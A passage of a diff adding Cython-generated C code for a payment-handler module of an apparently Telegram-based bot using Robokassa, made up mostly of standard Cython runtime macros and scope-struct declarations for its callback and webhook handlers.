sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/robokassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + +/* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + long __pyx_v_inv_id; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_inv_id; + PyObject *__pyx_v_params; + PyObject *__pyx_v_request; + PyObject *__pyx_v_shp_id; + PyObject *__pyx_v_signature_value; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_e; + long __pyx_v_inv_id; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T 